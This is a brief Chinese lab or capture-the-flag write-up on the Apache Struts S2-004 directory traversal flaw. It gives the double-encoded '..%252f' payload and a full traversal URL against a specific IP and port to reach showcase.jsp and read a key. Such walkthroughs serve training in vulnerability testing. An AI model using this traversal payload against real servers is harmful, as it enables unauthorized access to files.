s2-004为目录遍历漏洞，可以通过../转到上级目录
将/二次编码为%252f
访问url：http://219.153.49.228:45437/struts/..%252f
不断向上级跳转，直到发现showcase.jsp
查看源码获得key
http://219.153.49.228:45437/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
原文：https://www.cnblogs.com/ssan/p/12711856.html